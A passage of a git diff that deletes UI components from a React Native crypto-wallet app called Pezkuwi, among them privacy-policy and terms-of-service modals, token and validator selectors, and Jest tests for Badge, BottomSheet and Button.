backgroundColor: KurdistanColors.kesk,
paddingHorizontal: 24,
paddingVertical: 12,
borderRadius: 8,
},
retryButtonText: {
color: '#FFFFFF',
fontSize: 16,
fontWeight: '600',
},
});
export default PezkuwiWebView;
@@ -1,215 +0,0 @@
import React from 'react';
import {
Modal,
View,
Text,
ScrollView,
TouchableOpacity,
StyleSheet,
SafeAreaView,
} from 'react-native';
import { KurdistanColors } from '../theme/colors';
interface PrivacyPolicyModalProps {
visible: boolean;
onClose: () => void;
}
const PrivacyPolicyModal: React.FC<PrivacyPolicyModalProps> = ({ visible, onClose }) => {
return (
<Modal
visible={visible}
animationType="slide"
presentationStyle="pageSheet"
onRequestClose={onClose}
>
<SafeAreaView style={styles.container}>
<View style={styles.header}>
<Text style={styles.headerTitle}>Privacy Policy</Text>
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
<Text style={styles.closeButtonText}></Text>
</TouchableOpacity>
</View>
<ScrollView style={styles.content} showsVerticalScrollIndicator={false}>
<Text style={styles.sectionTitle}>Data Minimization Principle</Text>
<Text style={styles.paragraph}>
Pezkuwi collects the MINIMUM data necessary to provide blockchain wallet functionality.
We operate on a &quot;your keys, your coins, your responsibility&quot; model.
</Text>
<Text style={styles.sectionTitle}>What Data We Collect</Text>
<Text style={styles.subsectionTitle}>Stored LOCALLY on Your Device (NOT sent to Pezkuwi servers):</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Private Keys / Seed Phrase:</Text> Encrypted and stored in device secure storage</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Account Balance:</Text> Cached from blockchain queries</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Transaction History:</Text> Cached from blockchain queries</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Settings:</Text> Language preference, theme, biometric settings</Text>
</View>
<Text style={styles.subsectionTitle}>Stored on Supabase (Third-party service):</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Profile Information:</Text> Username, email (if provided), avatar image</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Citizenship Applications:</Text> Application data if you apply for citizenship</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Forum Posts:</Text> Public posts and comments</Text>
</View>
<Text style={styles.subsectionTitle}>Stored on Blockchain (Public, immutable):</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Transactions:</Text> All transactions are publicly visible on PezkuwiChain</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Account Address:</Text> Your public address is visible to all</Text>
</View>
<Text style={styles.subsectionTitle}>Never Collected:</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Browsing History:</Text> We don&apos;t track which screens you visit</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Device Identifiers:</Text> No IMEI, MAC address, or advertising ID collection</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Location Data:</Text> No GPS or location tracking</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Contact Lists:</Text> We don&apos;t access your contacts</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Third-party Analytics:</Text> No Google Analytics, Facebook Pixel, or similar trackers</Text>
</View>
<Text style={styles.sectionTitle}>Why We Need Permissions</Text>
<Text style={styles.subsectionTitle}>Internet (REQUIRED)</Text>
<Text style={styles.paragraph}>
Connect to PezkuwiChain blockchain RPC endpoint{'\n'}
Query balances and transaction history{'\n'}
Submit transactions
</Text>
<Text style={styles.subsectionTitle}>Storage (REQUIRED)</Text>
<Text style={styles.paragraph}>
Save encrypted seed phrase locally{'\n'}
Cache account data for offline viewing{'\n'}
Store profile avatar
</Text>
<Text style={styles.subsectionTitle}>Camera (OPTIONAL)</Text>
<Text style={styles.paragraph}>
Take profile photos{'\n'}
Scan QR codes for payments{'\n'}
Capture NFT images
</Text>
<Text style={styles.subsectionTitle}>Biometric (OPTIONAL)</Text>
<Text style={styles.paragraph}>
Secure authentication for transactions{'\n'}
Protect seed phrase viewing{'\n'}
Alternative to password entry
</Text>
<Text style={styles.subsectionTitle}>Notifications (OPTIONAL)</Text>
<Text style={styles.paragraph}>
Alert you to incoming transfers{'\n'}
Notify staking reward claims{'\n'}
Governance proposal notifications
</Text>
<Text style={styles.sectionTitle}>Zero-Knowledge Proofs & Encryption</Text>
<Text style={styles.paragraph}>
Citizenship applications are encrypted using ZK-proofs (Zero-Knowledge Proofs).
This means:
</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> Your personal data is encrypted before storage</Text>
<Text style={styles.bulletItem}> Only a cryptographic hash is stored on the blockchain</Text>
<Text style={styles.bulletItem}> Your data is uploaded to IPFS (decentralized storage) in encrypted form</Text>
<Text style={styles.bulletItem}> Even if someone accesses the data, they cannot decrypt it without your private key</Text>
</View>
<Text style={styles.sectionTitle}>Your Data Rights</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Export Data:</Text> You can export your seed phrase and account data anytime</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Delete Data:</Text> Delete your local data by uninstalling the app</Text>
<Text style={styles.bulletItem}> <Text style={styles.bold}>Supabase Data:</Text> Contact support@pezkuwichain.io to delete profile data</Text>
</View>
<Text style={styles.sectionTitle}>Contact</Text>
<Text style={styles.paragraph}>
For privacy concerns: privacy@pezkuwichain.io{'\n'}
General support: info@pezkuwichain.io
</Text>
<Text style={styles.footer}>
Last updated: {new Date().toLocaleDateString()}{'\n'}
© {new Date().getFullYear()} PezkuwiChain
</Text>
</ScrollView>
</SafeAreaView>
</Modal>
);
};
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#FFFFFF',
},
header: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
padding: 16,
borderBottomWidth: 1,
borderBottomColor: '#E5E5E5',
},
headerTitle: {
fontSize: 20,
fontWeight: 'bold',
color: KurdistanColors.reş,
},
closeButton: {
padding: 8,
},
closeButtonText: {
fontSize: 24,
color: KurdistanColors.reş,
},
content: {
flex: 1,
padding: 20,
},
sectionTitle: {
fontSize: 18,
fontWeight: 'bold',
color: KurdistanColors.kesk,
marginTop: 24,
marginBottom: 12,
},
subsectionTitle: {
fontSize: 16,
fontWeight: '600',
color: KurdistanColors.reş,
marginTop: 16,
marginBottom: 8,
},
paragraph: {
fontSize: 14,
lineHeight: 22,
color: '#333',
marginBottom: 12,
},
bulletList: {
marginBottom: 12,
},
bulletItem: {
fontSize: 14,
lineHeight: 22,
color: '#333',
marginBottom: 6,
},
bold: {
fontWeight: '600',
},
footer: {
fontSize: 12,
color: '#999',
textAlign: 'center',
marginTop: 32,
marginBottom: 32,
},
});
export default PrivacyPolicyModal;
@@ -1,249 +0,0 @@
import React from 'react';
import {
Modal,
View,
Text,
ScrollView,
TouchableOpacity,
StyleSheet,
SafeAreaView,
} from 'react-native';
import { KurdistanColors } from '../theme/colors';
interface TermsOfServiceModalProps {
visible: boolean;
onClose: () => void;
}
const TermsOfServiceModal: React.FC<TermsOfServiceModalProps> = ({ visible, onClose }) => {
return (
<Modal
visible={visible}
animationType="slide"
presentationStyle="pageSheet"
onRequestClose={onClose}
>
<SafeAreaView style={styles.container}>
<View style={styles.header}>
<Text style={styles.headerTitle}>Terms of Service</Text>
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
<Text style={styles.closeButtonText}></Text>
</TouchableOpacity>
</View>
<ScrollView style={styles.content} showsVerticalScrollIndicator={false}>
<Text style={styles.sectionTitle}>1. Acceptance of Terms</Text>
<Text style={styles.paragraph}>
By accessing or using the Pezkuwi mobile application (&quot;App&quot;), you agree to be bound by these
Terms of Service (&quot;Terms&quot;). If you do not agree to these Terms, do not use the App.
</Text>
<Text style={styles.sectionTitle}>2. Description of Service</Text>
<Text style={styles.paragraph}>
Pezkuwi is a non-custodial blockchain wallet and governance platform that allows users to:
</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> Manage blockchain accounts and private keys</Text>
<Text style={styles.bulletItem}> Send and receive cryptocurrency tokens</Text>
<Text style={styles.bulletItem}> Participate in decentralized governance</Text>
<Text style={styles.bulletItem}> Apply for digital citizenship</Text>
<Text style={styles.bulletItem}> Access educational content and earn rewards</Text>
</View>
<Text style={styles.sectionTitle}>3. User Responsibilities</Text>
<Text style={styles.subsectionTitle}>3.1 Account Security</Text>
<Text style={styles.paragraph}>
You are solely responsible for:
</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> Maintaining the confidentiality of your seed phrase and private keys</Text>
<Text style={styles.bulletItem}> All activities that occur under your account</Text>
<Text style={styles.bulletItem}> Securing your device with appropriate passcodes and biometric authentication</Text>
</View>
<Text style={styles.subsectionTitle}>3.2 Prohibited Activities</Text>
<Text style={styles.paragraph}>
You agree NOT to:
</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> Use the App for any illegal or unauthorized purpose</Text>
<Text style={styles.bulletItem}> Attempt to gain unauthorized access to other users&apos; accounts</Text>
<Text style={styles.bulletItem}> Interfere with or disrupt the App or servers</Text>
<Text style={styles.bulletItem}> Upload malicious code or viruses</Text>
<Text style={styles.bulletItem}> Engage in fraudulent transactions or money laundering</Text>
<Text style={styles.bulletItem}> Create fake identities or impersonate others</Text>
</View>
<Text style={styles.sectionTitle}>4. Non-Custodial Nature</Text>
<Text style={styles.paragraph}>
Pezkuwi is a non-custodial wallet. This means:
</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> We DO NOT have access to your private keys or funds</Text>
<Text style={styles.bulletItem}> We CANNOT recover your funds if you lose your seed phrase</Text>
<Text style={styles.bulletItem}> We CANNOT reverse transactions or freeze accounts</Text>
<Text style={styles.bulletItem}> You have full control and full responsibility for your assets</Text>
</View>
<Text style={styles.sectionTitle}>5. Blockchain Transactions</Text>
<Text style={styles.paragraph}>
When you submit a transaction:
</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> Transactions are irreversible once confirmed on the blockchain</Text>
<Text style={styles.bulletItem}> Transaction fees (gas) are determined by network demand</Text>
<Text style={styles.bulletItem}> We are not responsible for transaction failures due to insufficient fees</Text>
<Text style={styles.bulletItem}> You acknowledge the risks of blockchain technology</Text>
</View>
<Text style={styles.sectionTitle}>6. Digital Citizenship</Text>
<Text style={styles.paragraph}>
Citizenship applications:
</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> Require KYC (Know Your Customer) verification</Text>
<Text style={styles.bulletItem}> Are subject to approval by governance mechanisms</Text>
<Text style={styles.bulletItem}> Involve storing encrypted personal data on IPFS</Text>
<Text style={styles.bulletItem}> Can be revoked if fraudulent information is detected</Text>
</View>
<Text style={styles.sectionTitle}>7. Disclaimer of Warranties</Text>
<Text style={styles.paragraph}>
THE APP IS PROVIDED &quot;AS IS&quot; WITHOUT WARRANTIES OF ANY KIND. WE DO NOT GUARANTEE:
</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> Uninterrupted or error-free service</Text>
<Text style={styles.bulletItem}> Accuracy of displayed data or prices</Text>
<Text style={styles.bulletItem}> Security from unauthorized access or hacking</Text>
<Text style={styles.bulletItem}> Protection from loss of funds due to user error</Text>
</View>
<Text style={styles.sectionTitle}>8. Limitation of Liability</Text>
<Text style={styles.paragraph}>
TO THE MAXIMUM EXTENT PERMITTED BY LAW, PEZKUWI SHALL NOT BE LIABLE FOR:
</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> Loss of funds due to forgotten seed phrases</Text>
<Text style={styles.bulletItem}> Unauthorized transactions from compromised devices</Text>
<Text style={styles.bulletItem}> Network congestion or blockchain failures</Text>
<Text style={styles.bulletItem}> Price volatility of cryptocurrencies</Text>
<Text style={styles.bulletItem}> Third-party services (IPFS, Supabase, RPC providers)</Text>
</View>
<Text style={styles.sectionTitle}>9. Intellectual Property</Text>
<Text style={styles.paragraph}>
The Pezkuwi App, including its design, code, and content, is protected by copyright and trademark laws.
You may not:
</Text>
<View style={styles.bulletList}>
<Text style={styles.bulletItem}> Copy, modify, or distribute the App without permission</Text>
<Text style={styles.bulletItem}> Reverse engineer or decompile the App</Text>
<Text style={styles.bulletItem}> Use the Pezkuwi name or logo without authorization</Text>
</View>
<Text style={styles.sectionTitle}>10. Governing Law</Text>
<Text style={styles.paragraph}>
These Terms shall be governed by the laws of decentralized autonomous organizations (DAOs)
and international arbitration. Disputes will be resolved through community governance mechanisms
when applicable.
</Text>
<Text style={styles.sectionTitle}>11. Changes to Terms</Text>
<Text style={styles.paragraph}>
We reserve the right to modify these Terms at any time. Changes will be effective upon posting
in the App. Your continued use of the App constitutes acceptance of modified Terms.
</Text>
<Text style={styles.sectionTitle}>12. Termination</Text>
<Text style={styles.paragraph}>
We may terminate or suspend your access to the App at any time for violations of these Terms.
You may stop using the App at any time by deleting it from your device.
</Text>
<Text style={styles.sectionTitle}>13. Contact</Text>
<Text style={styles.paragraph}>
For questions about these Terms:{'\n'}
Email: legal@pezkuwichain.io{'\n'}
Support: info@pezkuwichain.io{'\n'}
Website: https://pezkuwichain.io
</Text>
<Text style={styles.footer}>
Last updated: {new Date().toLocaleDateString()}{'\n'}
© {new Date().getFullYear()} PezkuwiChain
</Text>
</ScrollView>
</SafeAreaView>
</Modal>
);
};
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#FFFFFF',
},
header: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
padding: 16,
borderBottomWidth: 1,
borderBottomColor: '#E5E5E5',
},
headerTitle: {
fontSize: 20,
fontWeight: 'bold',
color: KurdistanColors.reş,
},
closeButton: {
padding: 8,
},
closeButtonText: {
fontSize: 24,
color: KurdistanColors.reş,
},
content: {
flex: 1,
padding: 20,
},
sectionTitle: {
fontSize: 18,
fontWeight: 'bold',
color: KurdistanColors.kesk,
marginTop: 24,
marginBottom: 12,
},
subsectionTitle: {
fontSize: 16,
fontWeight: '600',
color: KurdistanColors.reş,
marginTop: 16,
marginBottom: 8,
},
paragraph: {
fontSize: 14,
lineHeight: 22,
color: '#333',
marginBottom: 12,
},
bulletList: {
marginBottom: 12,
},
bulletItem: {
fontSize: 14,
lineHeight: 22,
color: '#333',
marginBottom: 6,
},
footer: {
fontSize: 12,
color: '#999',
textAlign: 'center',
marginTop: 32,
marginBottom: 32,
},
});
export default TermsOfServiceModal;
-51
View File
@@ -1,51 +0,0 @@
import React from 'react';
import { View, Text, StyleSheet, ViewStyle } from 'react-native';
interface TokenIconProps {
symbol: string;
size?: number;
testID?: string;
style?: ViewStyle;
}
// Token color mapping
const TOKEN_COLORS: { [key: string]: string } = {
HEZ: '#FFD700',
PEZ: '#9B59B6',
wHEZ: '#FFD700',
USDT: '#26A17B',
wUSDT: '#26A17B',
BTC: '#F7931A',
ETH: '#627EEA',
DOT: '#E6007A',
};
export const TokenIcon: React.FC<TokenIconProps> = ({ symbol, size = 32, testID, style }) => {
// Get first letter of symbol
// For wrapped tokens (starting with 'w'), use the second letter
let letter = symbol.charAt(0).toUpperCase();
if (symbol.startsWith('w') && symbol.length > 1) {
letter = symbol.charAt(1).toUpperCase();
}
const color = TOKEN_COLORS[symbol] || '#999999';
return (
<View testID={testID} style={[styles.container, { width: size, height: size, backgroundColor: color }, style]}>
<Text style={[styles.icon, { fontSize: size * 0.5 }]}>{letter}</Text>
</View>
);
};
const styles = StyleSheet.create({
container: {
justifyContent: 'center',
alignItems: 'center',
borderRadius: 100,
},
icon: {
textAlign: 'center',
color: '#FFFFFF',
fontWeight: 'bold',
},
});
-236
View File
@@ -1,236 +0,0 @@
import React, { useState } from 'react';
import {
View,
Text,
TouchableOpacity,
Modal,
StyleSheet,
FlatList,
SafeAreaView,
} from 'react-native';
import { TokenIcon } from './TokenIcon';
import { KurdistanColors } from '../theme/colors';
export interface Token {
symbol: string;
name: string;
assetId?: number; // undefined for native HEZ
decimals: number;
balance?: string;
}
interface TokenSelectorProps {
selectedToken: Token | null;
tokens: Token[];
onSelectToken: (token: Token) => void;
label?: string;
disabled?: boolean;
}
export const TokenSelector: React.FC<TokenSelectorProps> = ({
selectedToken,
tokens,
onSelectToken,
label,
disabled = false,
}) => {
const [modalVisible, setModalVisible] = useState(false);
const handleSelect = (token: Token) => {
onSelectToken(token);
setModalVisible(false);
};
return (
<View style={styles.container}>
{label && <Text style={styles.label}>{label}</Text>}
<TouchableOpacity
style={[styles.selector, disabled && styles.disabled]}
onPress={() => !disabled && setModalVisible(true)}
disabled={disabled}
activeOpacity={0.7}
>
{selectedToken ? (
<View style={styles.selectedToken}>
<TokenIcon symbol={selectedToken.symbol} size={32} />
<View style={styles.tokenInfo}>
<Text style={styles.tokenSymbol}>{selectedToken.symbol}</Text>
<Text style={styles.tokenName}>{selectedToken.name}</Text>
</View>
<Text style={styles.chevron}></Text>
</View>
) : (
<View style={styles.placeholder}>
<Text style={styles.placeholderText}>Select Token</Text>
<Text style={styles.chevron}></Text>
</View>
)}
</TouchableOpacity>
<Modal
visible={modalVisible}
animationType="slide"
transparent={true}
onRequestClose={() => setModalVisible(false)}
>
<SafeAreaView style={styles.modalContainer}>
<View style={styles.modalContent}>
<View style={styles.modalHeader}>
<Text style={styles.modalTitle}>Select Token</Text>
<TouchableOpacity onPress={() => setModalVisible(false)}>
<Text style={styles.closeButton}></Text>
</TouchableOpacity>
</View>
<FlatList
data={tokens}
keyExtractor={(item) => item.symbol}
renderItem={({ item }) => (
<TouchableOpacity
style={[
styles.tokenItem,
selectedToken?.symbol === item.symbol && styles.selectedItem,
]}
onPress={() => handleSelect(item)}
>
<TokenIcon symbol={item.symbol} size={40} />
<View style={styles.tokenDetails}>
<Text style={styles.itemSymbol}>{item.symbol}</Text>
<Text style={styles.itemName}>{item.name}</Text>
</View>
{item.balance && (
<Text style={styles.itemBalance}>{item.balance}</Text>
)}
{selectedToken?.symbol === item.symbol && (
<Text style={styles.checkmark}></Text>
)}
</TouchableOpacity>
)}
ItemSeparatorComponent={() => <View style={styles.separator} />}
/>
</View>
</SafeAreaView>
</Modal>
</View>
);
};
const styles = StyleSheet.create({
container: {
marginBottom: 12,
},
label: {
fontSize: 14,
fontWeight: '600',
color: '#666',
marginBottom: 8,
},
selector: {
backgroundColor: '#FFFFFF',
borderRadius: 12,
borderWidth: 1,
borderColor: '#E0E0E0',
padding: 12,
},
disabled: {
opacity: 0.5,
},
selectedToken: {
flexDirection: 'row',
alignItems: 'center',
},
tokenInfo: {
flex: 1,
marginLeft: 12,
},
tokenSymbol: {
fontSize: 16,
fontWeight: '700',
color: '#000',
},
tokenName: {
fontSize: 12,
color: '#666',
marginTop: 2,
},
chevron: {
fontSize: 12,
color: '#999',
},
placeholder: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
},
placeholderText: {
fontSize: 16,
color: '#999',
},
modalContainer: {
flex: 1,
backgroundColor: 'rgba(0, 0, 0, 0.5)',
justifyContent: 'flex-end',
},
modalContent: {
backgroundColor: '#FFFFFF',
borderTopLeftRadius: 20,
borderTopRightRadius: 20,
maxHeight: '80%',
paddingBottom: 20,
},
modalHeader: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
padding: 20,
borderBottomWidth: 1,
borderBottomColor: '#E0E0E0',
},
modalTitle: {
fontSize: 18,
fontWeight: '700',
color: '#000',
},
closeButton: {
fontSize: 24,
color: '#999',
paddingHorizontal: 8,
},
tokenItem: {
flexDirection: 'row',
alignItems: 'center',
padding: 16,
},
selectedItem: {
backgroundColor: '#F0F9F4',
},
tokenDetails: {
flex: 1,
marginLeft: 12,
},
itemSymbol: {
fontSize: 16,
fontWeight: '700',
color: '#000',
},
itemName: {
fontSize: 12,
color: '#666',
marginTop: 2,
},
itemBalance: {
fontSize: 14,
color: '#666',
marginRight: 8,
},
checkmark: {
fontSize: 20,
color: KurdistanColors.kesk,
},
separator: {
height: 1,
backgroundColor: '#F0F0F0',
marginHorizontal: 16,
},
});
@@ -1,198 +0,0 @@
import React, { useState, useEffect } from 'react';
import { View, Text, FlatList, ActivityIndicator, Alert, StyleSheet, TouchableOpacity } from 'react-native';
import { BottomSheet, Button } from './index'; // Assuming these are exported from index.ts or index.tsx in the same folder
import { usePezkuwi } from '../contexts/PezkuwiContext';
import { KurdistanColors, AppColors } from '../theme/colors';
interface Validator {
address: string;
commission: number;
totalStake: string; // Formatted balance
selfStake: string; // Formatted balance
nominators: number;
// Add other relevant validator info
}
interface ValidatorSelectionSheetProps {
visible: boolean;
onClose: () => void;
onConfirmNominations: (validators: string[]) => void;
// Add other props like currentNominations if needed
}
export function ValidatorSelectionSheet({
visible,
onClose,
onConfirmNominations,
}: ValidatorSelectionSheetProps) {
const { api, isApiReady } = usePezkuwi();
const [validators, setValidators] = useState<Validator[]>([]);
const [loading, setLoading] = useState(true);
const [processing, _setProcessing] = useState(false);
const [selectedValidators, setSelectedValidators] = useState<string[]>([]);
// Fetch real validators from chain
useEffect(() => {
const fetchValidators = async () => {
if (!api || !isApiReady) return;
setLoading(true);
try {
const chainValidators: Validator[] = [];
// Attempt to fetch from pallet-validator-pool first
if (api.query.validatorPool && api.query.validatorPool.validators) {
const rawValidators = await api.query.validatorPool.validators();
const validatorList = rawValidators.toHuman() as string[];
for (const rawValidator of validatorList) {
chainValidators.push({
address: String(rawValidator),
commission: 0.05,
totalStake: '0 HEZ',
selfStake: '0 HEZ',
nominators: 0,
});
}
} else {
// Fallback to session validators
const sessionValidators = await api.query.session.validators();
const validatorAddresses = sessionValidators.toJSON() as string[];
for (const address of validatorAddresses) {
const validatorPrefs = await api.query.staking.validators(address);
const prefsJson = validatorPrefs.toJSON() as { commission?: number } | null;
const commission = prefsJson?.commission
? Number(prefsJson.commission) / 1_000_000_000
: 0.05;
chainValidators.push({
address: address,
commission: commission,
totalStake: 'Fetching...',
selfStake: 'Fetching...',
nominators: 0,
});
}
}
setValidators(chainValidators);
} catch (error) {
if (__DEV__) console.error('Error fetching validators:', error);
Alert.alert('Error', 'Failed to fetch validators.');
} finally {
setLoading(false);
}
};
fetchValidators();
}, [api, isApiReady]);
const toggleValidatorSelection = (address: string) => {
setSelectedValidators(prev =>
prev.includes(address)
? prev.filter(item => item !== address)
: [...prev, address]
);
};
const handleConfirm = () => {
if (selectedValidators.length === 0) {
Alert.alert('Selection Required', 'Please select at least one validator.');
return;
}
// Pass selected validators to parent component to initiate transaction
onConfirmNominations(selectedValidators);
onClose();
};
const renderValidatorItem = ({ item }: { item: Validator }) => (
<TouchableOpacity
style={[
styles.validatorItem,
selectedValidators.includes(item.address) && styles.selectedValidatorItem,
]}
onPress={() => toggleValidatorSelection(item.address)}
>
<View>
<Text style={styles.validatorAddress}>
{item.address.substring(0, 8)}...{item.address.substring(item.address.length - 6)}
</Text>
<Text style={styles.validatorDetail}>Commission: {item.commission * 100}%</Text>
<Text style={styles.validatorDetail}>Total Stake: {item.totalStake}</Text>
<Text style={styles.validatorDetail}>Self Stake: {item.selfStake}</Text>
<Text style={styles.validatorDetail}>Nominators: {item.nominators}</Text>
</View>
{selectedValidators.includes(item.address) && (
<View style={styles.selectedIndicator}>
<Text style={styles.selectedIndicatorText}></Text>
</View>
)}
</TouchableOpacity>
);
return (
<BottomSheet visible={visible} onClose={onClose} title="Select Validators">
{loading ? (
<ActivityIndicator size="large" color={KurdistanColors.kesk} />
) : (
<FlatList
data={validators}
keyExtractor={item => item.address}
renderItem={renderValidatorItem}
style={styles.list}
/>
)}
<Button
title={processing ? 'Confirming...' : 'Confirm Nominations'}
onPress={handleConfirm}
loading={processing}
disabled={processing || selectedValidators.length === 0}
fullWidth
style={{ marginTop: 20 }}
/>
</BottomSheet>
);
}
const styles = StyleSheet.create({
list: {
maxHeight: 400, // Adjust as needed
},
validatorItem: {
padding: 15,
borderBottomWidth: 1,
borderBottomColor: '#eee',
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
backgroundColor: KurdistanColors.spi,
borderRadius: 8,
marginBottom: 8,
},
selectedValidatorItem: {
borderColor: KurdistanColors.kesk,
borderWidth: 2,
},
validatorAddress: {
fontSize: 16,
fontWeight: 'bold',
color: KurdistanColors.reş,
},
validatorDetail: {
fontSize: 12,
color: AppColors.textSecondary,
},
selectedIndicator: {
backgroundColor: KurdistanColors.kesk,
width: 24,
height: 24,
borderRadius: 12,
justifyContent: 'center',
alignItems: 'center',
},
selectedIndicatorText: {
color: KurdistanColors.spi,
fontSize: 14,
fontWeight: 'bold',
},
});
@@ -1,75 +0,0 @@
import React from 'react';
import { render } from '@testing-library/react-native';
import { Badge } from '../Badge';
describe('Badge', () => {
it('should render with text', () => {
const { getByText } = render(<Badge>Test Badge</Badge>);
expect(getByText('Test Badge')).toBeTruthy();
});
it('should render default variant', () => {
const { getByText } = render(<Badge>Default</Badge>);
expect(getByText('Default')).toBeTruthy();
});
it('should render success variant', () => {
const { getByText } = render(<Badge variant="success">Success</Badge>);
expect(getByText('Success')).toBeTruthy();
});
it('should render error variant', () => {
const { getByText } = render(<Badge variant="error">Error</Badge>);
expect(getByText('Error')).toBeTruthy();
});
it('should render warning variant', () => {
const { getByText } = render(<Badge variant="warning">Warning</Badge>);
expect(getByText('Warning')).toBeTruthy();
});
it('should render info variant', () => {
const { getByText } = render(<Badge variant="info">Info</Badge>);
expect(getByText('Info')).toBeTruthy();
});
it('should render small size', () => {
const { getByText } = render(<Badge size="small">Small</Badge>);
expect(getByText('Small')).toBeTruthy();
});
it('should render medium size', () => {
const { getByText } = render(<Badge size="medium">Medium</Badge>);
expect(getByText('Medium')).toBeTruthy();
});
it('should render large size', () => {
const { getByText } = render(<Badge size="large">Large</Badge>);
expect(getByText('Large')).toBeTruthy();
});
it('should apply custom styles', () => {
const customStyle = { margin: 10 };
const { getByText } = render(<Badge style={customStyle}>Styled</Badge>);
expect(getByText('Styled')).toBeTruthy();
});
it('should handle testID prop', () => {
const { getByTestId } = render(<Badge testID="badge">Test</Badge>);
expect(getByTestId('badge')).toBeTruthy();
});
it('should render with number', () => {
const { getByText } = render(<Badge>{99}</Badge>);
expect(getByText('99')).toBeTruthy();
});
it('should render with icon', () => {
const { getByTestId } = render(
<Badge testID="badge">
<Badge>Inner Badge</Badge>
</Badge>
);
expect(getByTestId('badge')).toBeTruthy();
});
});
@@ -1,93 +0,0 @@
import React from 'react';
import { render } from '@testing-library/react-native';
import { Text } from 'react-native';
import { BottomSheet } from '../BottomSheet';
describe('BottomSheet', () => {
it('should render when visible', () => {
const { getByText } = render(
<BottomSheet visible={true} onClose={() => {}}>
<Text>Test Content</Text>
</BottomSheet>
);
expect(getByText('Test Content')).toBeTruthy();
});
it('should not render when not visible', () => {
const { queryByText } = render(
<BottomSheet visible={false} onClose={() => {}}>
<Text>Test Content</Text>
</BottomSheet>
);
expect(queryByText('Test Content')).toBeNull();
});
it('should call onClose when backdrop is pressed', () => {
const onClose = jest.fn();
const { UNSAFE_root } = render(
<BottomSheet visible={true} onClose={onClose}>
<Text>Test Content</Text>
</BottomSheet>
);
// Modal should be rendered
expect(UNSAFE_root).toBeDefined();
// onClose should be defined
expect(onClose).toBeDefined();
});
it('should render custom title', () => {
const { getByText } = render(
<BottomSheet visible={true} onClose={() => {}} title="Custom Title">
<Text>Test Content</Text>
</BottomSheet>
);
expect(getByText('Custom Title')).toBeTruthy();
});
it('should render without title', () => {
const { queryByText } = render(
<BottomSheet visible={true} onClose={() => {}}>
<Text>Test Content</Text>
</BottomSheet>
);
// Should not crash without title
expect(queryByText('Test Content')).toBeTruthy();
});
it('should apply custom height', () => {
const { UNSAFE_root } = render(
<BottomSheet visible={true} onClose={() => {}} height={500}>
<Text>Test Content</Text>
</BottomSheet>
);
expect(UNSAFE_root).toBeTruthy();
});
it('should handle children properly', () => {
const { getByText } = render(
<BottomSheet visible={true} onClose={() => {}}>
<Text>Child 1</Text>
<Text>Child 2</Text>
</BottomSheet>
);
expect(getByText('Child 1')).toBeTruthy();
expect(getByText('Child 2')).toBeTruthy();
});
it('should support animation type', () => {
const { UNSAFE_root } = render(
<BottomSheet visible={true} onClose={() => {}} animationType="fade">
<Text>Test Content</Text>
</BottomSheet>
);
expect(UNSAFE_root).toBeTruthy();
});
});
@@ -1,98 +0,0 @@
import React from 'react';
import { render, fireEvent } from '@testing-library/react-native';
import { Button } from '../Button';
describe('Button', () => {
it('should render with title', () => {
const { getByText } = render(<Button title="Click Me" onPress={() => {}} />);
expect(getByText('Click Me')).toBeTruthy();
});
it('should call onPress when pressed', () => {
const onPress = jest.fn();
const { getByText } = render(<Button title="Click Me" onPress={onPress} />);
fireEvent.press(getByText('Click Me'));
expect(onPress).toHaveBeenCalledTimes(1);
});
it('should not call onPress when disabled', () => {
const onPress = jest.fn();
const { getByText } = render(<Button title="Click Me" onPress={onPress} disabled />);
fireEvent.press(getByText('Click Me'));
expect(onPress).not.toHaveBeenCalled();
});
it('should render primary variant', () => {
const { getByText } = render(<Button title="Primary" variant="primary" onPress={() => {}} />);
expect(getByText('Primary')).toBeTruthy();
});
it('should render secondary variant', () => {
const { getByText } = render(
<Button title="Secondary" variant="secondary" onPress={() => {}} />
);
expect(getByText('Secondary')).toBeTruthy();
});
it('should render outline variant', () => {
const { getByText } = render(<Button title="Outline" variant="outline" onPress={() => {}} />);
expect(getByText('Outline')).toBeTruthy();
});
it('should render small size', () => {
const { getByText } = render(<Button title="Small" size="small" onPress={() => {}} />);
expect(getByText('Small')).toBeTruthy();
});
it('should render medium size', () => {
const { getByText } = render(<Button title="Medium" size="medium" onPress={() => {}} />);
expect(getByText('Medium')).toBeTruthy();
});
it('should render large size', () => {
const { getByText } = render(<Button title="Large" size="large" onPress={() => {}} />);
expect(getByText('Large')).toBeTruthy();
});
